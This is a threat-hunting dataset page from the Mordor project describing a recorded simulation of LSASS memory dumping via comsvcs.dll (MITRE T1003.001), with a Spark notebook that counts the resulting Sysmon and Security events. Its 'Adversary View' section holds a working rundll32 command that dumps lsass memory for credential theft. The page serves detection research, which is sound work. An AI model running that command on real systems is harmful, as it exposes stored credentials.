Lsass Memory Dump via Comsvcs.dll

Metadata

Author

Roberto Rodriguez @Cyb3rWard0g

Creation Date

2020/10/18

Modification Date

2020/10/18

Tactics

[‘TA0006’]

Techniques

[‘T1003.001’]

Tags

[‘art.2536dee2-12fb-459a-8c37-971844fa73be’]

Dataset Description

This dataset represents adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.

Notebooks

Notebooks created by the community leveraging the mordor datasets

Author

Name

Link

Simulation Plan

Environment

Tool Type

Module

Lab VM

Manual

Powershell

Adversary View

C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full

Explore Mordor Dataset

Initialize Analytics Engine

from openhunt.mordorutils import *
spark = get_spark()

Download & Process Mordor File

mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/credential_access/host/psh_lsass_memory_dump_comsvcs.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")
[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable 

Get to know your data

df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)
+------------+------------------------------------+-------+-----+
|Hostname    |Channel                             |EventID|count|
+------------+------------------------------------+-------+-----+
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|10     |68   |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|7      |30   |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|12     |29   |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|13     |15   |
|WORKSTATION5|Security                            |4658   |10   |
|WORKSTATION5|Security                            |4663   |5    |
|WORKSTATION5|Security                            |4690   |5    |
|WORKSTATION5|Security                            |4656   |5    |
|WORKSTATION5|Security                            |4689   |3    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|5      |3    |
|WORKSTATION5|Security                            |5158   |3    |
|WORKSTATION5|Security                            |5156   |3    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|11     |2    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|1      |1    |
|WORKSTATION5|Security                            |4688   |1    |
|WORKSTATION5|Security                            |1102   |1    |
+------------+------------------------------------+-------+-----+